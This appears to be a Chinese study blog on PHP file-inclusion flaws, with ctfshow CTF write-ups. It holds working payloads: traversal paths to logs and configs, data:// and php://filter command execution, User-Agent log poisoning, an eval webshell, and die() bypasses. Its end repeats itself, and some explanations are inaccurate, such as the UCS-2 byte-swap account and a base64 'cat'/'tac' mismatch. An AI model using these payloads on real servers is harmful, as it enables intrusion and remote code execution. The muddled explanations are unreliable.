center文件包含漏洞详解与ctfshow文件包含漏洞模块的练习
文件包含漏洞详解
参考文章
1.什么是文件包含
服务器执行PHP文件时,可以通过文件包含函数加载另一个文件中的PHP代码,并且当PHP来执行,这会为开发者节省大量的时间。这意味着您可以创建供所有网页引用的标准页眉或菜单文件。当页眉需要更新时,您只更新一个包含文件就可以了,或者当您向网站添加一张新页面时,仅仅需要修改一下菜单文件(而不是更新所有网页中的链接)。
2.常见的文件包含函数
PHP中文件包含函数有以下四种:
- include(): 用于将指定文件包含进当前脚本中。如果文件不存在,则会发出警告并继续执行脚本。如果文件中包含有函数,函数也可以在包含它的脚本中使用。
- require(): 与include()类似,用于将指定文件包含进当前脚本中。不同之处在于,如果文件不存在,则会发出致命错误并停止执行脚本。
- include_once(): 与include()类似,但它会在包含文件之前先检查文件是否已经被包含过了。如果文件已经被包含,则不会再次包含它。
- require_once(): 与require()类似,但它会在包含文件之前先检查文件是否已经被包含过了。如果文件已经被包含,则不会再次包含它。
include
和require
区别主要是,include
在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行;而require
函数出现错误的时候,会直接报错并退出程序的执行。
而include_once()
,require_once()
这两个函数,与前两个的不同之处在于这两个函数只包含一次,适用于在脚本执行期间同一个文件有可能被包括超过一次的情况下,你想确保它只被包括一次以避免函数重定义,变量重新赋值等问题。
php.ini配置文件:allow_url_fopen=off 即不可以包含远程文件。
3.漏洞产生原因
文件包含函数加载的参数没有经过过滤或者严格的定义,可以被用户控制,包含其他恶意文件,导致了执行了非预期的代码。
示例代码
<?php
$filename = $_GET['filename'];
include($filename);
?>
例如:
$_GET['filename']
参数开发者没有经过严格的过滤,直接带入了include的函数,攻击者可以修改$_GET['filename']
的值,执行非预期的操作。
4.php伪协议
前人总结的部分方法:
一般来说就是这些进行利用,具体的应用以题目为例子来进行记录
-
包含日志
-
日志文件污染是通过将注入目标系统的代码写入到日志文件中。通常,访问目标系统上的某些对外开放的服务时,系统会自动将访问记录写入到日志文件中,利用这个机制,有可能会将代码写入到日志中。例如,当我们请求一个url地址时,便会记录在access.log中,但如果访问一个不存在的页面,便会将这个页面写入access.log中。如访问URL:www.xxx.com则会将一句话写入到access.log中,但是一般来说,写入到access.log文件中的一句话是被编码的,所以需要抓包绕过,而且利用此漏洞需要知道access.log的地址,不然便没有。
-
注意
-
(1)除了我们包含 access.log 以外,我们还可以制造错误,然后包含 error.log
-
(2)如果出现包含不成功的情况,很有可能就是被 open_base_dir() 限制了
-
(3)实战中最好在凌晨的时候进行包含,要不然日志太大包含会失败
-
(4)除了 apache 和 nginx 的日志 还有很多其他的日志我们能利用,比如说 ssh 的日志
常见的路径还有以下这些:
?file=.htaccess //包含同目录下的文件 ?file=../../../../../../../../../var/lib/locate.db ?file=../../../../../../../../../var/lib/mlocate/mlocate.db //linux中这两个文件储存着所有文件的路径,需要root权限 ?file=../../../../../../../../../var/log/apache/error.log //包含错误日志 ?file=../../../../../../../../../usr/local/apache2/conf/httpd.conf //获取web目录或者其他配置文件 ?file=../attachment/media/xxx.file //包含上传的附件
5.php://fifter(过滤器)
当我们需要从用户输入或其他不可靠来源获取文件路径时,使用filter进行过滤和验证可以有效地防止路径遍历攻击等安全问题。
php://filter 过滤器支持以下参数:
- “read”:用于对输入流进行过滤和转换。通过设置 “php://filter/read=filter_name”,可以将输入流中的数据使用指定的过滤器进行处理和转换。例如,可以使用 “php://filter/read=convert.base64-decode” 过滤器将输入的 Base64 编码数据进行解码。
- “write”:用于对输出流进行过滤和转换。通过设置 “php://filter/write=filter_name”,可以将输出流中的数据使用指定的过滤器进行处理和转换。例如,可以使用 “php://filter/write=convert.base64-encode” 过滤器将输出的数据进行 Base64 编码。
- “string”:用于对字符串进行过滤和转换。通过设置 “php://filter/string=filter_name”,可以对指定的字符串使用指定的过滤器进行处理和转换。例如,可以使用 “php://filter/string.toupper” 过滤器将字符串全部转换为大写字母。
- “convert”:用于对输入流和输出流进行编码和转换。通过设置 “php://filter/convert=filter_name”,可以将输入和输出流中的数据进行编码和转换,以适应不同的需求。例如,可以使用 “php://filter/convert.base64-encode” 过滤器将输入和输出流中的数据进行 Base64 编码。
6.data(数据流协议)
“data://” 是 PHP 中的一种数据流(stream)协议,它允许将数据以 URL 形式进行传输和访问。通过 “data://” 协议,可以将数据直接嵌入到 PHP 脚本中,或者在 PHP 脚本中动态生成数据。
“data://” 协议的语法格式为:
data:[<mediatype>][;base64],<data>
其中,“” 是可选的媒体类型(MIME 类型),例如 “text/plain”、“image/jpeg” 等;“;base64” 表示数据使用 Base64 编码进行传输;“” 是需要传输的数据。
例如,以下是一个使用 “data://” 协议嵌入文本数据的例子:
<?php
echo "Hello, world!\n";
// 使用 data:// 协议嵌入文本数据
$data = "data:text/plain;base64," . base64_encode("Hello, data!");
echo file_get_contents($data) . "\n";
?>
在上面的例子中,使用 “data://” 协议将文本数据嵌入到 PHP 脚本中,并使用 “file_get_contents” 函数读取数据并输出到控制台。输出结果为:
Hello, world!
Hello, data!
ctfshow文件包含漏洞模块练习
web78(无限制条件)
1.使用filter
?file=php://filter/read=convert.base64-encode/resource=flag.php
2.使用data
?file=data://text/plain,<?php show_source('flag.php')?>
都是可以使用的
web79(替换字符串)
源代码
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
用下面语句绕过
?file=data://text/plain,<?=`tac f*`;?>
或
?file=data://text/plain,<?=system("tac f*");?>
该url的后面的=是干嘛的呢?
后面的等号是用于将PHP代码作为参数值进行传递的,它表示将<?=
和?>
之间的代码作为字符串传递给data://
协议。在PHP中,<?= ... ?>
是一个简写形式,相当于<?php echo ... ?>
,用于将表达式的值输出到页面上。
在这个URL中,将system("tac f*")
作为参数值传递给data://
协议后,这段代码会被当做字符串输出到页面上。在目标脚本中包含这个URL时,由于字符串中包含了PHP代码,因此可以通过文件包含漏洞执行这段代码,从而执行system("tac f*")
命令。
web80(日志包含)
源代码
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
用日志包含绕过,将执行的命令插入日志中
这道题奇怪的是nginx日志在/var/log/nginx/access.log,一般apache日志在类似目录下(/var/log/httpd/access.log)
日志地址通常为
/var/log/nginx/error.log
/var/log/nginx/access.log
1.在UA头中插入
<?php echo system('ls');?>
2.然后将日志包含进来
得到fl0g.php
3.将is改成 cat fl0g.php即可得到flag
web81(日志包含)
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
多过滤了一个:,用上一题的方法即可
web87(filter协议编码绕过die)
源代码
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$content = $_POST['content'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);
}else{
highlight_file(__FILE__);
}
在过滤了这些的基础上使用了file_put_contents函数
- file_put_contents–将一个字符串写入文件,第一个参数是文件名,第二个参数是写入的字符串(如果选择的文件不存在则创建一个该文件)
- 可以看到有url解码,我们可以进行url双编码绕过。
- 本题主要的点就是写入的语句是死亡语句,即会执行die,结束后面我们想要执行的传入的content的语句,所以使用php://filter对其进行绕过。具体可参见下面两篇文章
- 博客1博客2
主要就是使用php://filter对进行绕过,这里使用base64解码的方法,我们知道,base64解码只对a-z,A-Z,0-9进行解码,所以我们对这一条语句进行解码,那么具有php语句特征的<?>就没有了,这样就不会执行die,(也可以用别的方法,协议,比如rot13),我们要注意,base64解码是以4字节为一组,这里的php die共6个字节,需要自行添加两个才能使其正确解码不影响后面的正常语句解码,
1.使用filter协议write写入一个文件
php://filter/write=convert.base64-decode/resource=1.php #1.php是自己随意选的
//两次编码可以绕过urldecode
%2570%2568%2570%253A%252F%252F%2566%2569%256C%2574%2565%2572%252F%2577%2572%2569%2574%2565%253D%2563%256F%256E%2576%2565%2572%2574%252E%2562%2561%2573%2565%2536%2534%252D%2564%2565%2563%256F%2564%2565%252F%2572%2565%2573%256F%2575%2572%2563%2565%253D%2531%252E%2570%2568%2570
这是两次url编码后的内容
需要用bp的编码器,但是不知道为什么,解决了再说吧
2.同时开启post,传入参数content
content=aa<?php @eval($_POST[a]);?>
content=aaPD9waHAgcGhwaW5mbygpOyA/Pg==
这里加的aa就是为了与前面的phpdie结合凑够8个字符进行base64解码,后面的正常base64语句才能正常解码
3.上传后访问url/1.php
无返回值则成功
4.POST传入参数a
得到flag
web88(正则匹配黑名单)
源代码
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
die("error");
}
include($file);
}else{
highlight_file(__FILE__);
}
发现过滤的还是比较多,但是没有过滤 : 那我们就可以使用PHP伪协议就是 这里使用的是 data://text/plain;base64,poc 其实和79差不多 只是注意的是编码成base64的时候要去掉 =
实际上就是去掉base64后的=, 作为填充使用,不影响结果
<?php system('tac fl0g.php'); ?>即?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmwwZy5waHAnKTsgPz4
web116
按照教程下载文件不成功
web117(小端转换为大端倒序绕过)
源码
function filter($x){
if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
die('too young too simple sometimes naive!');
}
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents);
考察点:绕过die
题目中过滤了很多协议和编码方式,但是除了我们常用的base64和rot13还是有很多方法可以绕过die的
这是取一个 UCS-2LE UCS-2BE
payload:
file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
post:contents=?<hp pvela$(P_SO[T]1;)>?
将每个16位字符的两个8位字节的顺序交换
一个英文字符用两个字节表示,
例如,字符“<”在UCS-2LE编码中的表示为0x3C 0x00,在UCS-2BE编码中的表示为0x00 0x3C。因此,在转换后的字符串中,字符“<”变成了0x3F 0x00(即问号),字符“>”变成了0x3F 0x00,其他字符也被改变了。
使用UCS-2LE编码,那么将其转换为UCS-2BE编码后,其内容会被改变。在UCS-2LE编码中,每个字符使用2个字节表示,字节顺序为小端(即最低有效字节在前面,最高有效字节在后面)。而在UCS-2BE编码中,每个字符使用2个字节表示,字节顺序为大端(即最高有效字节在前面,最低有效字节在后面)
将每个16位字符的两个8位字节的顺序交换
$(P_SO[T]1;)>?
将每个16位字符的两个8位字节的顺序交换
一个英文字符用两个字节表示,
例如,字符“<”在UCS-2LE编码中的表示为0x3C 0x00,在UCS-2BE编码中的表示为0x00 0x3C。因此,在转换后的字符串中,字符“<”变成了0x3F 0x00(即问号),字符“>”变成了0x3F 0x00,其他字符也被改变了。
使用UCS-2LE编码,那么将其转换为UCS-2BE编码后,其内容会被改变。在UCS-2LE编码中,每个字符使用2个字节表示,字节顺序为小端(即最低有效字节在前面,最高有效字节在后面)。而在UCS-2BE编码中,每个字符使用2个字节表示,字节顺序为大端(即最高有效字节在前面,最低有效字节在后面)
将每个16位字符的两个8位字节的顺序交换